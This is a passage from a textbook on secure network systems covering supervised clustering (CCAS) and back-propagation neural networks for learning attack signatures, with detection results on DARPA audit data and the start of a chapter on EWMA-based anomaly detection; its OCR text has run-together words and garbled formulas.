learned automatically from computer and network data collected under attack and normal use
conditions, using data mining techniques such as artificial neural networks, support vector ma-
chines, decision trees, association rules, supervised clustering, and so on. Part 1V illustratesthe
application of two data mining techniques, supervised clustering and artificial neural networks,
to the automatic learning of attack signatures and the use of the discovered attack signatures
to detect cyber attacks.

Although only attack signatures are needed to recognize attacks for cyber attack detection,
both attack data and normal use data are required to allow data mining techniques to learn
the distinction of attack data from normal use data. As a result, signature patterns of both
attacks and normal use activities are learned by data mining techniques to classify attacks
and normal use activities. Through the comparison of the signature recognition techniques
with the attack-norm separation techniques described in Chapters 16 and 17 in their detection
performance, this part points out the shortcoming of the signature recognition methodology in
lack of handling the mixed attack and norm data and capturing advanced data features which
can help uncover subtle differences between attack data and normal use data.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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Clustering and classifying attack
and normal use data

Techniques for mining data to discover data patterns generally fall into two categories which
deal with two typesof data, respectively [1]: (1) datawith predictor variablesonly, and (2) data
with both predictor variables and a target variable. For an object of interest, both a predictor
variable and atarget variabl e describe agiven attribute of the object. However, atarget variable
assigns the object into a special class or value which depends on the values of the predictor
variables. In other words, the values of the predictor variables are used to predict or classify
the value of thetarget variable. For cyber attack detection, for example, computer and network
events may be represented as the predictor variables, and the target variable assigns computer
and network events into one of two classes: attack and normal use. Statistically, predictor
variables are called independent variables, and the target variable is called the dependent
variable. Data used to learn or mine patterns is called training data, and data used to test the
use of learned patterns for prediction or classification accuracy is called testing data.

Examples of techniques for mining data with predictor variables only are hierarchical clus-
tering, self-organized maps, association rules, principal component/independent component
analysis, factor analysis, anomaly detection such as statistical control charts, and Bayesian
networks[1]. There are also avariety of data mining techniques that deal with data with both
predictor variables and the target variable, such as decision trees and Classification And Re-
gression Tree (CART), artificial neural networks, support vector machines, regression, latent
variable modeling, time series modeling, and Bayesian networks [1].

L earning the signature patterns of cyber attacks automatically from computer and network
data requires both attack data and normal use data in contrast because normal use data is
necessary to make sure that attack signature patterns do not appear in normal usedata. That is,
training data used to learn attack signature patterns has both predictor variables and the target
variable which indicates the class of a given data record: attack or normal use.

The next chapter describes the application of artificial neural networks to learning and
classifying computer and network data for cyber attack detection. This chapter introduces a
supervised clustering algorithm, called Clustering and Classification Algorithm — Supervised
(CCAYS), which can be used for cyber attack detection by first grouping datapointsin atraining
data set into clusters of data points with the same target class of either attack or normal use

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd



248 Clustering and classifying attack and normal use data

and then using the data clusters to classify new data points into a target class. Hence, data
patterns that exist in the training data set are captured as data clusters by CCAS. CCAS uses
the training data with both predictor variables and the target variable to learn the data patterns.

12.1 CLUSTERING AND CLASSIFICATION ALGORITHM —
SUPERVISED (CCAS)

Data mining techniques, such as decision trees [2, 3] and association rules [4], have been
applied to cyber attack detection. However, those techniques have difficulty in accepting new
training datato update an existing collection of attack signature patterns, that is, to learn attack
signature patternsin anincremental manner as new training databecomesavailable. Patterns of
attack dataand normal use data are likely to change over time as new attacks and new variants
of existing attacks emerge and users work on new tasks or shift to new usage behaviors. As
a result, signature patterns of attack data and normal use data must be updated over time
using new training data of cyber attacks and normal use activities. As an example, most virus
detection software uses the signature recognition methodology to detect virus, worm or other
types of malicious code. Such virus detection software must be updated over time in order
to obtain an updated collection of malicious code signatures to effectively protect computers
against new attacks from malicious code. Hence, CCAS aims at an incremental method of
clustering data points by taking data points one by one in the data clustering so that any new
data point can be added to the existing data clusters.

Suppose that the training data has N data points. Each data point, X, isrepresented by adata
vector, (Xg, ..., Xm, Y), wherex;,i =1, ..., m,isapredictor variableand y isthe target variable
with two target values: two classes of attack and normal use. CCA S takes n data pointsin the
training dataset one by onetoincrementally build the dataclustersin thefollowing steps|5, 6].

Step 1. Determine the correlation of each predictor variable with the target variable. The
squared correlation coefficient [7] of x; andy, r X y» Is calculated as follows:

r2y = \/X—S(XN(\;ZW ..... (12.1)

where
L0 ()= 2L, (1 D)+ - b4 (1)~ % (0~ D (12.2)
£, =122 (- D+ Fx ()X (- DIy -y -] (129
(0= "2 (- D+ y() -y - 1P (12
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= (n— 1)7(nn— 1) +y(n) (12.6)

forn=1,..., N. Note that Formulas 12.2-12.6 are used to take the N data points
incrementally one by one.

Step 2. Set up two dummy clusters for two target classes. Two dummy clusters are set up for
two target classes of attack and normal use, respectively. For each dummy cluster of
agiven target class, the mean vector of the predictor variables for al data points with
that target class is used to represent the centroid coordinates of the dummy cluster,

(XK, - - -, Xmk), k= 0for normal use and 1 for attack, asfollows:
Ny
n=1 Xn
K= —/=— 12.
Xik Ni (12.7)

where Ni isthe total number of data pointsin the training data set that have the target
classof k. Thetwo dummy clusters are assigned the sametarget class of 2 which differs
from the target class values of O for normal use and 1 for attack and normal use. The
rolein which the two dummy clusters play in clustering the data pointsin the training
data set is explained in Step 3.

Step 3. Cluster the data points incrementally. This takes the following stages:

Step 3.1. Take a data point, X, from the training data set, and compute the weighted
Euclidean distance of this data point to each of the existing data clusters,
L;, asfollows:

d(X,Lj)zli(xi—xiLj)zr)%y (12.8)

where(Xyj, . . ., XmLj) representsthe centroid coordinates of the datacluster,
L;. In Formula 12.8, the correlation coefficient, rfiy, is used to weigh the

contribution of the distance on the data dimension of x; to the distance in
the m-dimensional data space. Instead of the weighted Euclidean distance
in Formula 12.8, other distance measures such as those shown in [5, 6] can
be used to compute the distance of the data point to a cluster.

Step 3.2. Determine the nearest existing cluster to the data point, X, by comparing the
distances of the data point to the existing clusters.

Step 3.3a. If this data cluster has the same target class as that of the data point, let
the data point join the cluster and update the number of data pointsin this
cluster, N j, and the centroid coordinates of the cluster as follows:

Ny, = Ny, +1 (12.9)
Xi + NLinLI

XL, = ,oy.
iL NL +1

L, m. (12.10)
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Notethat thetarget classof thedatapoint isused to guidethe clustering, mak-
ing CCAS a supervised clustering method rather than a clustering method
which uses only the information from the predictor variable.

Step 3.3b. Otherwise, create a new cluster with the data point as the centroid, let the
number of the data points in the new cluster be 1 and the target class of
the new cluster be the target class of the data point. For the first data point
taken from thetraining dataset, it createsanew clustering instead of joining
one of the two dummy clusters since the dummy clusters have a different
target class of 2 from the target class (either O or 1) of the data point. Let
us consider the first two data points of the same target class taken from the
training data set, given that there is a large distance between the two data
points. Without the two dummy clusters, the two data points would be put
into the same cluster because thefirst data point createsanew cluster and the
second point joins that cluster which is the nearest cluster to the data point
with the same target class. With the dummy clusters, the second data point
may create anew cluster if it iscloser to one of the two dummy clusters. On
the other hand, it is reasonable to group the first two data points of the same
target classif they are close to each other. Without the dummy clusters, how
the data pointsin thetraining data set are clustered generally depends on the
order of taking the data points one by one from the training data set whichis
required for theincremental clustering. The presence of the dummy clusters
alleviates this dependence on the data order to some extent.

Step 4. Repeat Steps 3.1-3.3 for each of the remaining data pointsin the training data set until
there is no data point remaining in the training data set.

The above clustering steps of CCAS produce the clusters of the data pointsin the training data
set. Each cluster has the data points of the same target class. A cluster is represented by its
centroid coordinates and hasitstarget class. The resulting data clusters represent the signature
patterns of attack and normal use data. The resulting clusters can be used to determine the
target class of a new data point, X, by first determining its k nearest cluster(s), Ly, ..., Lk,
based on the distance calculation with Formula 12.8 and then assigning the dominant target
classof the k nearest clustersto the data point, wherek > 1. The dominant class of the k nearest
clustersis the target class that the mgjority of those clusters have. Alternatively, areal value
can be assigned to the target variable of a new data point as follows:

k
N Wi

— % (12.11)
Zj:le

where
1 (12.12)
wj = —FC. .

d (X, Lj)

Formula 12.11 calculates the weighted average of the target values for the k nearest clusters
as the target value of X. In Formula 12.12 which computes the weight for each cluster, the
distance of the data point to the cluster is computed using Formula 12.8.

Instead of using the dummy clusters to alleviate the dependence of the resulting clusters
on the order of taking data points one by one from the training data set (the input order of
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the training data points), an alternative method of coping with the problem, the grid-based
clustering method, isintroduced in [6, 8, 9]. In the grid-based clustering method, no dummy
clusters are generated. I nstead, each dimension in the m-dimensional data spaceisdivided into
aset of equal intervalsin the range from the smallest data value to the largest data value of all
the data points on this dimension. The number or length of the intervals can be a parameter to
be specified by a user of the algorithm. Each dimension does not necessarily use intervals of
the samelength. Asaresult, the m-dimensional data spaceisdivided intothegrid cells defined
by grids on al the dimensions. Then in Step 3.2 to determine the nearest cluster to a data
point, only the existing clustersin the same grid cell containing the data point are searched to
determine the nearest cluster. If there is no existing cluster in the grid cell or with the same
target class of the data point, the data point creates anew cluster in the grid cell.

12.2 TRAINING AND TESTING DATA

CCAS was developed before the data described in Chapter 7 was collected. CCAS was
tested using the MIT Lincoln Laboratory’s 2000 DARPA Intrusion Detection Evaluation
Data (http://ideval .Il.mit.edu), specifically the audit data collected from two Solaris computers
(named ‘Mill’ and ‘Pascal’) using the Basic Security Module (BSM) facility under a Dis-
tributed Denial of Service (DDoS) attack and simulated activities of normal use. The BSM
audit datahasaudit recordsfor security-rel ated audit eventswith one audit record for each audit
event. An audit record containsinformation such as event type, user ID, process |D, command
type, time, and so on. The DDoS attack has five attack phases, including such activities as
probing, breaking-in to gain access, installing Trojan software, and launching a DDoS attack.
The attack phases are carried out over multiple network sessions, targeting both Mill and Pas-
cal computers. Normal use activities, which are made similar to actual activities observed in
an operating local area network in the real world, are also similarly smulated for both Mill
and Pascal. The audit data from Mill includes 14 normal use sessions and 7 attack sessions.
The audit data from Pascal includes 63 normal use sessions and 4 attack sessions. Both data
streams from Mill and Pascal contain over a hundred thousand audit records. The audit data
from Pascal is used asthe training data. The audit data from Mill is used as the testing data.

To observe the effect that the input order of the training data has the resulting clusters, four
input orders are created. In the first input order, al the attack sessions are inserted into the
middle of the normal sessions as if the attack happens at a point during the normal sessions.
The second input order is the reserve order of the sessionsin the first input order. In the third
input order, the normal sessions are followed by the attack sessions. In the fourth input order,
the attack sessions are followed by the normal sessions. Thetesting dataisthe samefor al the
four input orders of the training data.

12.3 APPLICATION OF CCASTO CYBER ATTACK DETECTION

Only the information of event type is extracted from each audit record to distinguish attack
activitiesfrom normal use activities. There arein total 284 different event typesthat BSM can
record from a Solaris system. Given aseries of audit eventswhich arerecorded in the audit data
and represented by their event types, we obtain asmoothed frequency distribution of 284 event
typesin the recent past of each given event. For the nth event in the series of audit events, the
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smoothed frequency distribution of 284 eventsin the recent past of this nth event is computed
asfollows:

xMN=rxz+@A-2)xnM-1), i=1...,2840<Ar<1 (12.13)
where

z = 1if the nth event has event typei; O otherwise,
x(0) =0,

and X is set to 0.3. Formula 12.13 produces an Exponentialy Weighted Moving Average
(EWMA) [8] of the event frequency in the recent past of the nth event for each event type. For
example, when computing the smoothed event frequency of event typei for the nth event, the
presence (counted as 1) of event typei in the nth event is given the weight of «, the presence of
event typei inthe (n — 1)th event isgiven the weight of A(1 — 1), the presence of event typei
inthe (n — 2)th event is given the weight of A(1 — A)?, and so on.

Hence, each audit event in the training data for each input order is transformed into a
smoothed event frequency vector, (X, .. ., Xog4), Which is considered a data point in the 284-
dimensional space. Each audit event in the testing data is transformed into a smoothed event
frequency vector. CCAS is applied to all the data points in the training data set. The target
value of each data point in the testing data set is determined using Formula 12.11 based on the
clusterslearned using CCAS.

Toevaluatethedetection accuracy of CCA Sfor thetesting data, thesession signal ratioisfirst
determined for each attack session and each normal use session in the testing data as follows:

1. Set an event signal threshold to evaluate the target value of the data point for each audit
event in the testing data as follows:

Event signal threshold = u + ao

where u is the average target value of the data points for al the normal use eventsin the
training data, o is the standard deviation of the target values of these data points, and a is
a parameter which is determined empirically. Numerous values of a have been tested, and
the small values of 0.5, 0.6 and 0.7 appear to produce the best detection performance.

2. Comparethetarget value of the data point for each audit event in thetesting data set with the
event signal threshold, and signal the event as attack if the target value is not smaller than
the signal threshold or claim the event as normal use otherwise. Note that a larger target
value close to 1 indicatesthe likelihood of an attack event since the target class of an attack
event is 1 and the target class of anormal use event is 0.

3. Computethesessionsignal ratiofor each session by dividing thetotal number of thesignaled
attack events by the total number of the audit events in the session.

4. Plot the Receiver Operating Characteristic (ROC) chart based on the session signal ratio
values of al the sessionsin the testing data set in the following steps:

(a) Set a session signal threshold to a value which is less than the smallest value of the
session signal ratios for all the sessionsin the testing data.
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(b) Compare the session signal ratio of each session with the session signal threshold, and
signal the session as attack if the session signal ratio is not smaller than the session
signal threshold, or claim the session as normal use otherwise.

(c) Computethefalseaarm rateastheratio of the number of the normal use sessionswhich
are signaled as attack (false alarms) to the total number of the normal use sessions, and
the hit rate asthe ratio of the number of the attack sessions which are signaled as attack
(hits) to the total number of the attack sessions.

(d) Plotthe pair of the false alarm rate and the hit ratein an ROC chart with the false alarm
rate on the horizontal dimension and the hit rate on the vertical dimension.

(e) Get another session signal threshold by adding a small increment to the current session
signal threshold.

(f) Repeat Steps (b)—(€) until the session signal threshold is greater than the maximum
session signal ratio of all the sessionsin the testing data.

An ROC chart isamethod of comparing the overall detection performance of two techniques
without comparing a pair of false alarm rate and hit rate set results from different signal
thresholds.

12.4 DETECTION PERFORMANCE OF CCAS

Figures 12.1-12.4 show the ROC charts of the CCA S detection performance on thetesting data
for the CCAS applicationsto the four input orders of the training data respectively using both
the dummy cluster method and the grid-based clustering method. The closer an ROC curve of a
given method is to the top-left corner of the ROC chart which represents the 100% hit rate and
the 0% false alarm, the better detection performance the method produces. If the ROC curve of
method A rises completely above that of method B, the detection performance of method A is
better than that of method B. Hence, the ROC chart allows the performance evaluation of one
method and the performance comparison of two or more methodsindependent of aspecific sig-
nal threshold sel ected for each method to producethe pair of thefalsealarm rateand the hit rate.

Figures12.1, 12.2 and 12.4 for the first, second and fourth input orders of the training data
show that the dummy cluster-based CCAS produces a better detection performance than the
grid-based CCAS by examining the ROC curves and the hit rates corresponding to the 0%
false alarm rates in those ROC curves. The dummy cluster-based CCAS produces the best
performance for the fourth input order of the training data which have the attack sessions
followed by the normal sessions. For the third input order of the training data as shown in
Figure 12.3, neither the dummy cluster CCAS nor the grid-based CCAS performs well.

To further reduce the impact of the input order of the training data points on the resulting
clusters, the post-processing steps after the steps of CCAS described in Section 12.1 are added
and described in [8] to improve the robustness of the clustering results to the input order of
training data. The distance measure in Formula 12.8 is applicable to only predictor variables
that take numeric values. The variations of CCAS to deal with both numeric and categorical
predictor variables are described in [9, 10].
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Figure12.1 The ROC charts for the first input order of the training data and the a values of 0.5, 0.6
and 0.7: (a) the dummy cluster method, and (b) the grid-based method.

From Figure1in[6], X. Li, and N. Ye, “Grid- and dummy-cluster-based learning of normal and intrusive
clusters for computer intrusion detection.” Quality and Reliability Engineering International, Vol. 18,
No. 3, pp. 231-242, 2002, (© John Wiley & Sons Limited. Reproduced with permission.
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Figure12.2 The ROC chartsfor the second input order of the training data and the a values of 0.5, 0.6
and 0.7: (a) the dummy cluster method, and (b) the grid-based method.

FromFigure2in[6], X. Li, and N. Ye, “Grid- and dummy-cluster-based learning of normal and intrusive
clusters for computer intrusion detection.” Quality and Reliability Engineering International, Vol. 18,
No. 3, pp. 231-242, 2002, (© John Wiley & Sons Limited. Reproduced with permission.
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Figure 12.3 The ROC charts for the third input order of the training data and the a values of 0.5, 0.6
and 0.7: (a) the dummy cluster method, and (b) the grid-based method.

From Figure3in[6], X. Li, and N. Ye, “Grid- and dummy-cluster-based learning of normal and intrusive
clusters for computer intrusion detection.” Quality and Reliability Engineering International, Vol. 18,
No. 3, pp. 231-242, 2002, (© John Wiley & Sons Limited. Reproduced with permission.
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Figure12.4 The ROC chartsfor the fourth input order of the training data and the a values of 0.5, 0.6
and 0.7: (a) the dummy cluster method, and (b) the grid-based method.

From Figure4in|[6], X. Li, and N. Ye, “ Grid- and dummy-cluster-based learning of normal and intrusive
clusters for computer intrusion detection.” Quality and Reliability Engineering International, Vol. 18,
No. 3, pp. 231-242, 2002, (© John Wiley & Sons Limited. Reproduced with permission.
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125 SUMMARY

CCAS learns signature patterns of attack data and normal use data by recognizing attack data
clusters and normal use data clusters and then matching such signature patterns of attack
and normal use data with new data to classify or predict the target value of the new data by
determining the distance of the new data with the attack and normal use data clusters. Unlike
many other clustering methods such as hierarchical clustering and density-based clustering,
CCASusesnot only thevalues of the predictor variablesbut a so the value of thetarget variable
to determinethe data clusters. Hence, CCASisapplicableto many classification and prediction
problems in addition to cyber attack detection.
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L earning and recognizing attack
signatures using artificial neural
networks

Different types of Artificial Neural Networks (ANNS) exist for various purposes such as clas-
sification, prediction, clustering, association, and so on [1]. A feedforward ANN with the
back-propagation learning algorithm [1] is commonly used for classification problems. Cy-
ber attack detection can be considered a classification problem in that computer and network
datais classified into attack or normal use. One advantage of a feedforward ANN for classi-
fication problems lies in its ability to learn a sophisticated, nonlinear input-output function.
In this chapter, a feedforward ANN with the back-propagation learning algorithm is used
for cyber attack detection through signature recognition. Specifically, the ANN learns signa-
ture patterns of cyber attacks and normal use activities from the training data and uses those
signature patterns to classify activities in the testing data into attack or normal use. In this
chapter, the structure and learning algorithm of the ANN are first introduced. The applica-
tion of the ANN to cyber attack detection is then presented with the performance testing
results.

13.1 THE STRUCTURE AND BACK-PROPAGATION LEARNING
ALGORITHM OF FEEDFORWARD ANNs

A feedforward ANN has one or more hidden layers of processing units and one output layer
of processing units. Processing units are connected between layers but not within a layer.
Figure 13.1 shows a fully connected feedforward ANN with three inputs, one hidden layer of
4 processing units, and one output layer of 2 processing units. In Figure 13.1, each input is
connected to each hidden unit, and each hidden unit is connected to each output unit. Each
connection has a weight value associated with it. Figure 13.2 shows the structure of asingle
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hidden layer

output layer

01
02
i
Figure13.1 Anexample of afully connected two-layer feedforward ANN.

processing unit. As shown in Figure 13.2, the output value of a processing unit is computed
from the inputs to the unit as follows:

0j = fj(netj) (13.1)
m

netj = Zw]‘kik, (132)
k=1

where 0; isthe output value of unit j, f; isthe activation function of unit j, iy isthe kth input to
unit j, wj isthe weight of the connection from the kth input to unit j. A sigmoid functionisan
example of the activation function with the following form which produces an output valuein
(0, 00):

1

(13.3)
The activation function can be the same for all the units in the ANN or can be different for
different units.

In general, the ANN aims at approximating the function between theinputs and the outputs.
The connection weights of an ANN are typically initialized to random values. Using theinitial
connection weights, the ANN may not produce the target outputs for the given inputs. Hence,
the initial connection weights need to be adjusted by using a training data set of input-output

Figure 13.2 The structure of a processing unit in an ANN.
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pairsto learn theinput-output function. Suppose that the training data set, D, hasthe following
input-output pairs:

D={@i"tP)} p=12...n

Whether or not the ANN has learned the input-output function is measured by the difference
between the actual outputs produced by the ANN and the target outputs for the given inputs.
Specifically, the following function measures the difference between the actual output of the
ANN, oP, and the target output, tP, for the pth input-output pair in the training data set [1]:

EP = % 21: (¢ - ojp)z. (13.4)

EP isafunction of the connection weights, wj;'s. The value of EP changes as the connection
weights are adjusted. A gradient descent learning rule adjusts the connection weights to the
direction of reducing EP by considering the derivative of EP over each connection weight, w;;,
asfollows[1]:

JEP 9EP onet?
prji = —0— = — ] ! = OlSjp(N)ip (135)
owjj anetj owjj
where
JEP
8P = 13.6
! Z)net]-p (136)

« isthelearning rate, and 8 istheith input to unit j. If unit j directly receivesthe ANN input,
o/ isi;; otherwise, 8” isfrom aunit at the preceding layer feeding its output to unit j.
If unit j isan output unit, 8 in Formula 13.6 becomes the following [1]:

JEP JEP d0P
=5 = s = (tP—op) f] (netf). 137
I onet? 90" anet” i 9% i (13.7)

For the sigmoid activation function in Formula 13.3,

f/(net}) = 0;(1 - oj) (13.8)
where
1

If unit j is ahidden unit, §Pin Formula 13.6 becomes the following [1]:

JEP JEP d0° JEP JEP net?
P = — = — I f.’(netp) = — —_= =0 ¢ (net.p>
] anet;’ aoj" 8netjp ao}’ ] ] Z anet? aojp J ]

n

- (Z —agwnj> f/ (netf) = (Z arﬁ’wn,-) f/ (net?)., (13.10)
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where 8} is computed for output unit n using Formula 13.7. Hence, after the input from each
input-output pair in thetraining dataset isfed to the ANN which producesthe actual output, the
connection weights to the output units are first adjusted according to Formulas 13.5 and 13.7,
followed by the adjustment of the connection weightsto the unitsin the hidden layer preceding
to the output layer according to Formulas 13.5 and 13.10. If there is another hidden layer, the
connection weights to that hidden layer can be adjusted in the same manner using Formulas
13.5 and 13.10. This process gives the following back-propagation learning algorithm which
adjusts the connection weights in a back-propagation manner from the output layer to the
hidden layer if the ANN has one hidden layer [1]:

Step 1. Present iP to the ANN, obtain oP.

Step 2. Adjust the connection weights to the output layer using Formulas 13.5 and 13.7.

Step 3. Adjust the connection weights to the hidden layer using Formulas 13.5 and 13.10.

Step 4. Repeat Steps 1-3 for al p.

Step 5. Repeat Steps 14 until there is no significant change of the connection weights or the
error of the actual output from the target output is below a pre-set threshold.

13.2 THE ANN APPLICATION TO CYBER ATTACK DETECTION

The Windows performance objects datadescribed in Chapter 7 isused to test the ANN applica-
tion to cyber attack detection through signature recognition. Table 13.1 collects the mean shift
attack characteristics in Table 8.1, the distribution change attack characteristics in Table 9.1,
the autocorrelation change attack characteristicsin Table 10.1, and the wavel et change attack
characteristics in Table 11.1. For each attack characteristic in Table 13.1, two feedforward
ANNSs are developed for the combinations of the attack with the text editing norm and the web
browsing norm, respectively. Each ANN has one input that takes the value of the data variable
involved in the attack characteristic. The ANN has one hidden layer of 20 units, and one output
layer of one unit whose target valueiscloseto 1 for attack and O for normal use. The sigmoid
activation function is used for each unit of the ANN.

For the combination of the attack and the text editing norm, the attack data from Run 1 of
the data collection and the first 300 observations of the text editing datafrom Run 2 of the data
collection are used to train the ANN to learn attack signature patterns and normal use patterns.
Only the attack signature patterns are needed to recognize attacks for cyber attack detection.
However, the normal use data is necessary in training the ANN because the ANN needs the
contrast of the attack data and the normal use data to learn attack signature patterns that are
distinguishable from normal use patterns. Statistica Neural Networks [2] is the software used
to build the ANN. The back-propagation learning algorithm with the time-varying learning
rate, case-presentation order shuffling and additive noise for robust generalization is used to
trainthe ANN. A threshold is selected by the software during the training to classify the output
value of the ANN into attack or normal use. If the output valueisgreater than thethreshold, the
output is classified as attack; otherwise, the output is classified as normal use. The threshold
is selected by the software to minimize the classification error when comparing the actual
outputs with the target outputs of the training data. The trained ANN is tested on the testing
data that includes the remaining 300 observations of the text editing data from Run 2 of the
data collection and the mixed attack and norm data from Run 2 of the data collection. Each
data observation in the testing data set is classified by the ANN as attack or normal use.
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The ANN application to cyber attack detection 263

The detection performance of the ANN is measured by the total number of false alarms on
al the normal use data observationsin the testing dataand thefirst hit which isthe observation
number of the first data observation in the attack data of the testing datawhich is classified as
attack. For example, if 10 data observations among the 300 data observations of atext editing
activity in the testing data are classified as attack, the total number of false alarmsis 10. If the
first attack data observation is classified as attack, thefirst hit is 1. However, if the first attack
data observation is classified as normal use but the second attack data observation is classified
as attack, the first hit is 2. Hence, the first hit indicates how early the attack is detected after
the attacks starts.

Both the false dlarms and the first hit have important implications in the practical use of a
cyber attack detection system. If the cyber attack detection system produces too many false
alarms on normal use data, system administrators or security analysts will waste their time
by investigating those false alarms which are not truly attack, will be overwhelmed by such
investigations, and eventually will abandonthe cyber attack detection system for poor accuracy.
The first hit measures the detection earliness when an attack occurs. If there is along delay
in detecting an attack on a computer and network system, alot of damage will be done to the
system. Hence, it is important to detect an attack as early as possible to stop the attack and
prevent severe damage.

Note that the ROC method of evaluating the session signal ratio as described in Chapter 12
isnot used for the performance evaluation on the Windows performance objects data because
only one attack session and one normal use session are used for each combination of attack
and normal use activitiesin the Windows performance objects data, producing too few session
signal ratio valuesin total to computer session signal ratios.

Similarly, the ANN for the combination of the attack and the web browsing norm istrained
using the attack data from Run 1 of the data collection and the first 300 observations of the
web browsing data from Run 3 of the data collection, and is tested using the remaining 300
observations of the web browsing data and the mixed attack and norm data from Run 3 of
the data collection. Table 13.2 gives the false alarms of the ANNs developed for all the attack
characteristicsin Table 13.1. Table 13.3 showsthefirst hitsof those ANNSs. Table 13.4 compares
the overall detection performance of the ANN with that of the EWMA control charts described
in Chapter 14 and that of the cuscore-based attack norm separation models (cuscore models)
described in Chapters 16 and 17.

Asshown in Table 13.4, for each attack characteristic in Table 13.1 and each combination
of the attack and the normal use activity for that attack characteristic, the ANN isworse than
the cuscore models in both the false alarm and the first hit. The ANNSs produce 3,641 false
alarms in total for al the combinations of the attack activities and the normal use activities,
which are 3619 more false alarmsthan 22 false alarmsin total produced by the cuscore models
for all the combinations of the attacks and the normal use activities. The ANNs have more than
8110 observations of detection delay, which are computed by subtracting the total number of
the attack-norm combinations (= 22) from the total number of the first hits for all the attack-
norm combinations (> 8132), whereasthe cuscore model s have 1035 observations of detection
delays.

Hence, for those data variables in Table 13.1, the detection performance of the ANNs is
worse than that of the cuscore models. The worse performance of the ANNsin thefirst hitson
the mixed attack and norm datamay be attributed to the failure of the ANNsto tackle the mixed
data effect of the attack and the normal use activity in the testing data. When an attack occurs
to acomputer and network system, there are usually normal use activities going on at the same
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270 Recognizing attack signaturesusing ANNs

time as simulated in Run 2 and Run 3 of the data collection. As a result, the data containing
the effect of the attack also contains the effect of the normal use activity. In other words, the
attack and the normal use activity produce the mixed data effect in the data collected from
the computer and network system. The ANNSs are trained using both the attack data and
the normal use data but not the mixture of both which is included in the testing data. The
mixture of the attack data and the normal use data can distort the attack signature patterns and
the normal use signature patterns, which creates the difficulty for the ANNS in recognizing
in the mixed attack and norm data the attack and normal use patterns that the ANNSs learn
from the attack data and the normal use data during the training. One option to improve
the detection performance of the ANNSs is to add the mixed attack and normal use data to
the training data. To capture possibly the more complicated input-output function presented
in the mixed attack and normal use data, ANNs with two hidden layers may be necessary. The
cuscore models, which are described in more details in Chapters 16 and 17, provide another
means of handling the mixed attack and normal use data by first separating the effects of the
attack data and the normal use data. As shown in Tables 13.2-13.4, the cuscore-based attack
norm separation models produce the better performance not only in the detection accuracy
measured by the false alarms but also in detection earliness measured by the first hits when
handling the mixed attack and normal use data.

The worse performance of the ANNs in the false alarms cannot be attributed to the lack of
handling the mixed attack and normal use data because only the normal use datais involved
in producing the false alarms. Note that most data variables in Table 13.1 manifest the attack
characteristics through advanced data features such as the autocorrelation, probability distri-
bution, and wavel et features, rather than the mean feature which works directly on theraw data
values of the data variables. The ANNSs rely on the raw data values to learn the differences
between the attacks and the normal use activities. Hence, for most data variables with attack
characteristicswith more subtle datafeatures than the mean feature, it isdifficult for the ANNs
to accurately classify the attacks and normal use activitiesbased on the raw dataval ues of those
variables. The cuscore models are built on both subtle data features and the mean feature, and
usethe attack and norm datamodel swhich accurately represent the datafeatures and the attack
and normal use differences in those data features (see details in Chapters 16 and 17). As a
result, whenthe ANNsfail to accurately classify the attacks and the normal use activities based
on the raw data values of those data variables which have the attack characteristics in subtle
datafeatures, the cuscore model s are capabl e of performing well. Hence, the feature extraction
is an important step in building cyber attack detection models for detection accuracy (e.g.,
reducing false alarms) and earliness by first uncovering attack characteristics through various
datafeatures and then building accurate detection models based on those attack characteristics.

13.3 SUMMARY

The feedforward ANNs with the back-propagation learning algorithm, which are commonly
employed for classification problems, are used as a signature recognition technique for cyber
attack detection. Although only theattack signature patternsare needed to recognizethe attacks,
the ANNSs learn the signature patterns of both the attack data and the normal use datain order
to distinguish them in the training. The ANNSs then use such signature patterns to classify the
computer and network datainto attack or normal usein the testing. The detection performance
of the ANNsisworse than that of the cuscore-based attack norm separation models, likely due
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to the lack of handling the mixed attack and normal use data and signature patterns through
subtle data features.
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Part V

Cyber Attack Detection: Anomaly
Detection

Anomaly detection is one of the two conventional methodologies for cyber attack detection.
Theanomaly detection methodol ogy takestwo steps. First, anorm profileisdefined to represent
normal use behavior for a computer or network subject of interest. Then the norm profileis
used to detect the presence of an anomaly, which is a large deviation from the norm profile
and is linked to a possible attack. Many existing anomaly detection techniques differ mainly
in their ways of representing the norm profile and detecting anomalies accordingly. This part
presents two norm profiling techniques and associated anomaly detection methods. Chapter 14
describesboth univariate and multivariate stati stical anomaly detection techniquesbased onthe
statistical modeling of the norm profile and the detection of statistical anomalies. Chapter 15
presents a stochastic modeling technique, specifically the Markov chain model, to capture the
sequential order feature of an event sequence which is omitted in the statistical data modeling
methods in Chapter 14.

The advantage of the anomaly detection methodology liesinits ability to detect novel cyber
attacks if they induce large deviations from the norm profile. However, it should be noted that
the anomaly detection methodology cannot detect novel attacks if they do not appear to be
deviating largely from the norm profile. The anomaly detection methodology has not gained a
wide usein practical intrusion detection systems due to high false alarms typically associated
withit. Thisdrawback in performanceaccuracy isattributed totwo factors: (1) thelack of power
by most anomaly detection techniques in adequately modeling a wide variety of normal use
behavior (including irregular but benign behavior) through a single modeling technique, and
(2) lack of handling the data mixture of attack activities and normal use activities that occur
simultaneously. Through the description of the statistical and stochastic anomaly detection
techniques in Chapters 14 and 15, the shortcomings of the anomaly detection methodology
areillustrated.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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14

Statistical anomaly detection with
univariate and multivariate data

This chapter describes two statistical anomaly detection techniques for cyber attack detection:
the EWMA (Exponentially Weighted Moving Average) control chart which is a univariate
Statistical Process Control (SPC) technique, and the Chi-Square Distance Monitoring method
(CSDM) whichisamultivariate SPC technique. Many SPC techniques[1-2] havetraditionally
been devel oped and applied to monitor the quality of manufacturing processes. SPC techniques
first build the statistical model of the process dataobtained from anin-control processto contain
only random variations of the process data. SPC considers the process out of control with an
gnable cause other than random causes of datavariationsif the process data shows a statis-
tically significant deviation from the statistical in-control datamodel. Consider that acomputer
and network system isin control if there are only normal use activities, but is out-of-control if
there are also attack activities. This makesthe anomaly detection methodol ogy for cyber attack
detection similar to SPC techniques [3] in first building the norm or in-control profile of the
process data and then using the norm profile to detect a large deviation as anomaly or out-of-
control caused by an attack. Thischapter presentsthe application of aunivariate SPC technique,
the EWMA control chart, and amultivariate SPC technique, CSDM, to cyber attack detection.

141 EWMA CONTROL CHARTS

Many of existing univariate SPC techniques, such as Shewhart control charts and Cumula-
tive Sum (CUSUM) control charts, assume that the in-control process data follows a normal
probability distribution. EWMA control charts have been shown to be robust to nonnormality
and produce the robust performance for both normally and nonnormally distributed data [1,
